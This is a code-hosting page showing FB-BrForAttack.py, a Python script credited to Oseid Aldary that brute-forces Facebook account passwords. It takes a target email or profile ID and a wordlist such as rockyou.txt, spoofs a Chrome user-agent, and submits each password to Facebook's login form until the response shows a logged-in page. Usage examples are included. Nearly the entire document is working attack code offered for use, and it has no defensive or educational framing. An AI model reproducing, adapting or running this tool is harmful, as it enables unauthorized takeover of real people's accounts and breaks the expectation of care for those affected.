-
Notifications
You must be signed in to change notification settings - Fork 186
/
Copy pathFB-BrForAttack.py
executable file
·120 lines (113 loc) · 4.43 KB
/
FB-BrForAttack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
# -*- coding: utf-8 -*-
#I Love Python(^-^)
try:
##----------- Import Libraries -----------##
import socket,time,os,optparse,mechanize ##
##----------------------------------------##
except ImportError:
print("[!] The [ mechanize library ] is Missing!\n[*] Please Install it Using this command> [ pip install mechanize ]")
exit(1)
################## check internet #################
server = "www.google.com" #
def check(): #
try: #
s = socket.gethostbyname(server) #
ss = socket.create_connection((s, 80), 2) #
return True #
except: #
pass #
return False #
#
check = check() #
###################################################
parse = optparse.OptionParser("""
Usage: python ./FB-BrForAttack.py -T [TARGET]<Email/ID> -W <Wordlist file>
-------------
OPTIONS:
|
|--------
| -t <target email> [OR] <FACEBOOK ID> ::> Set target Email [OR] Target Profile ID
|--------
| -w <word list file> ::> Set Wordlist File
-------------
Examples:
|
|--------
| python FB-BrForAttack.py -t [email protected] -w /usr/share/wordlists/rockyou.txt
|--------
| python FB-BrForAttack.py -t 100001013078780 -w C:\Users\Me\Desktop\wordlist.txt
|--------
""")
def Main():
parse.add_option("-t","--target",'-T','--TARGET',dest="taremail",type="string",
help="target email !")
parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wlst",type="string",
help="wordlist file !")
(options,args) = parse.parse_args()
if options.taremail !=None and options.wlst !=None:
user = options.taremail
passw = options.wlst
global check
if check == True:
try:
passwfile = open(passw, "r")
except IOError:
print("\n[!] No Such File: "+passw+" !!!\n")
exit(1)
os.system("cls||clear")
time.sleep(0.10)
print("\n[*] website>: www.facebook.com ")
time.sleep(0.10)
if "@" in user:
print("\n[+] Target Email>: "+str(user))
else:
print("\n[+] Target FB~ID>: "+str(user))
time.sleep(0.10)
print("\n[@] WordList>: "+str(passw))
time.sleep(0.10)
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
time.sleep(0.20)
print("\n[$]--- Brute Force Attack Start ---[$]\n")
time.sleep(0.8)
lo = 1
for password in passwfile:
if not password.strip(): continue
password = password.strip()
try:
br=mechanize.Browser()
br.set_handle_robots(False)
br.addheaders=[('User-agent', "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36")]
br.open("https://facebook.com")
br.select_form(nr=0)
br.form["email"]=user
br.form["pass"]=password
br.method="POST"
res = br.submit()
if "home_icon" in res.get_data():
print("[+]~[{}] Testing Password[ {} ] ==> Yes :)".format(lo,password))
print ("\n[*] Found! Password is ==> "+ password)
break
else:
print('[-]~[{}] Testing Password[ {} ] ==> No :('.format(lo,password))
lo +=1
except KeyboardInterrupt:
print('\n---------------------------\n[!][CTRL+C] Exiting.....!\n')
time.sleep(1.2)
exit(1)
elif check == False:
print("\n[!] Error: Please Check Your Internet Connection !!!")
exit(1)
else:
print(parse.usage)
exit(1)
if __name__=='__main__':
Main()
##############################################################
##################### #########################
##################### END OF TOOL #########################
##################### #########################
##############################################################
#This Tool by Oseid Aldary
#Have a nice day :)
#GoodBye